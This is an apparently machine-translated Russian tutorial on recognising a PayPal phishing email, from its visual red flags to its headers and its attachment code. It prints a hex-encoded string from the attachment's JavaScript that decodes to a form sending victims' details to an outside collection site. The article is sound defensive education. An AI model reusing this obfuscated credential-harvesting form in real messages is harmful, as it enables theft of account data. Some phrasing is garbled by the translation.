Не думайте, что важны только ваши банковские реквизиты: в конце концов, если кто-то получает контроль над вашей учетной записью, они не только знают информацию, содержащуюся в этой учетной записи, но и вероятность того, что одна и та же информация для входа может быть использована для различных Счета. И если они скомпрометируют вашу учетную запись электронной почты, они могут сбросить все ваши другие пароли.
Таким образом, помимо сохранения сильных и разнообразных паролей, вы всегда должны быть в поиске фальшивых писем, которые маскируются как настоящие. Хотя большинство попыток фишинга являются дилетантскими, некоторые из них довольно убедительны, поэтому важно понимать, как распознавать их на уровне поверхности, а также как они работают под капотом.
Изображение пользователя asirap
Изучение того, что находится в простом взгляде
Наш пример электронной почты, как и большинство попыток фишинга, «уведомляет» вас о деятельности на вашей учетной записи PayPal, которая при нормальных обстоятельствах была бы тревожной. Таким образом, призыв к действию состоит в том, чтобы проверить / восстановить свою учетную запись, отправив почти каждый кусочек личной информации, о которой вы можете думать. Опять же, это довольно шаблонный.
Хотя, безусловно, есть исключения, почти все фишинг и афера электронной почты загружаются красными флагами непосредственно в самом сообщении. Даже если текст убедителен, вы обычно можете найти много ошибок, замусоренных в теле сообщения, которые указывают, что сообщение не является законным.
Тело сообщения
- «Paypal» - Правильный случай - «PayPal» (капитал P). Вы можете видеть, что оба варианта используются в сообщении. Компании очень разборчивы с их брендингом, поэтому вряд ли что-то вроде этого пройдет процесс проверки.
- «Разрешить ActiveX». Сколько раз вы видели законный веб-бизнес, размер Paypal использует проприетарный компонент, который работает только в одном браузере, особенно когда он поддерживает несколько браузеров? Конечно, где-то там какая-то компания делает это, но это красный флаг.
- «Безопасно». - Обратите внимание, как это слово не выстраивается в поле с остальным текстом абзаца. Даже если я растягиваю окно немного больше, он не будет правильно обертывать или пробел.
- «Paypal!» - пространство перед восклицательным знаком выглядит неудобно. Еще одна причуда, которая, я уверен, не будет в законном письме.
- «PayPal-Account Update Form.pdf.htm» - Почему Paypal присоединяет «PDF», особенно когда они могут просто ссылаться на страницу на своем сайте? Кроме того, почему они пытаются скрыть HTML-файл как PDF? Это самый большой красный флаг.
Заголовок сообщения
- Адрес от [email protected].
- Недопустимый адрес. Я не скрывал этого, он просто не является частью стандартного заголовка сообщения. Обычно компания, которая имеет ваше имя, будет персонализировать электронную почту для вас.
Вложение
Когда я открываю вложение, вы можете сразу увидеть, что макет неправильный, так как отсутствует информация о стиле. Опять же, почему PayPal отправляет HTML-форму, когда они могут просто дать вам ссылку на свой сайт?
Замечания: для этого мы использовали встроенный просмотрщик вложений в формате Gmail, но мы рекомендуем вам НЕ ОТКРЫТЬ вложения от мошенников. Никогда. Когда-либо. Они очень часто содержат эксплойты, которые будут устанавливать трояны на вашем ПК, чтобы украсть вашу учетную информацию.
Техническая разбивка
Хотя это должно быть довольно ясно, исходя из того, что на первый взгляд, что это попытка фишинга, мы теперь собираемся сломать технический состав электронной почты и посмотреть, что мы можем найти.
Информация из приложения
Первое, на что нужно обратить внимание, это HTML-код формы вложения, который представляет данные на фиктивный сайт.
При быстром просмотре источника все ссылки выглядят действительными, поскольку они указывают на «paypal.com» или «paypalobjects.com», которые являются законными.
Теперь мы рассмотрим некоторые основные сведения о странице, которые Firefox собирает на странице.
Информация из заголовков электронной почты
Затем мы рассмотрим исходные заголовки сообщений электронной почты. Gmail делает это доступным через пункт меню «Показать исходное меню» в сообщении.
Куда идут данные?
Таким образом, мы четко определили, что это фишинг-адрес электронной почты, и собрал некоторую информацию о том, откуда возникло сообщение, но как насчет отправки ваших данных?
Чтобы увидеть это, мы должны сначала сохранить вложение HTM на наш рабочий стол и открыть его в текстовом редакторе. Прокручивая его, все, кажется, в порядке, за исключением случаев, когда мы попадаем в подозрительный блок Javascript.
Разбивая полный источник последнего блока Javascript, мы видим:
В любое время, когда вы видите большую переплетенную строку, казалось бы, случайных букв и цифр, встроенных в блок Javascript, обычно это что-то подозрительное. Глядя на код, переменная «x» устанавливается на эту большую строку и затем декодируется в переменную «y». Окончательный результат переменной «y» затем записывается в документ как HTML.
Поскольку большая строка состоит из чисел 0-9 и букв a-f, она, скорее всего, кодируется с помощью простого преобразования ASCII в Hex:
3c666f726d206e616d653d226d61696e222069643d226d61696e22206d6574686f643d22706f73742220616374696f6e3d22687474703a2f2f7777772e646578706f737572652e6e65742f6262732f646174612f7665726966792e706870223e
Переведено на:
Совсем не случайно, что это расшифровывается как допустимый тег HTML-формы, который отправляет результаты не в PayPal, а на сайт-изгоев.
Кроме того, когда вы просматриваете HTML-код формы, вы увидите, что этот тег формы не отображается, потому что он генерируется динамически через Javascript. Это умный способ скрыть то, что на самом деле делает HTML, если кто-то просто просмотрел сгенерированный источник вложения (как мы это делали ранее), в отличие от открытия вложения непосредственно в текстовом редакторе.
Цинизм - хорошая защита
Когда дело доходит до безопасного пребывания в Интернете, никогда не бывает больно цинично.
Хотя я уверен, что в приведенном выше электронном письме больше красных флагов, то, что мы указали выше, являются показателями, которые мы видели после нескольких минут экзамена. Гипотетически, если поверхностный уровень электронной почты подражал его законному коллеге на 100%, технический анализ все равно покажет его истинную природу. Вот почему он импорт, чтобы иметь возможность исследовать то, что вы можете и не можете видеть.
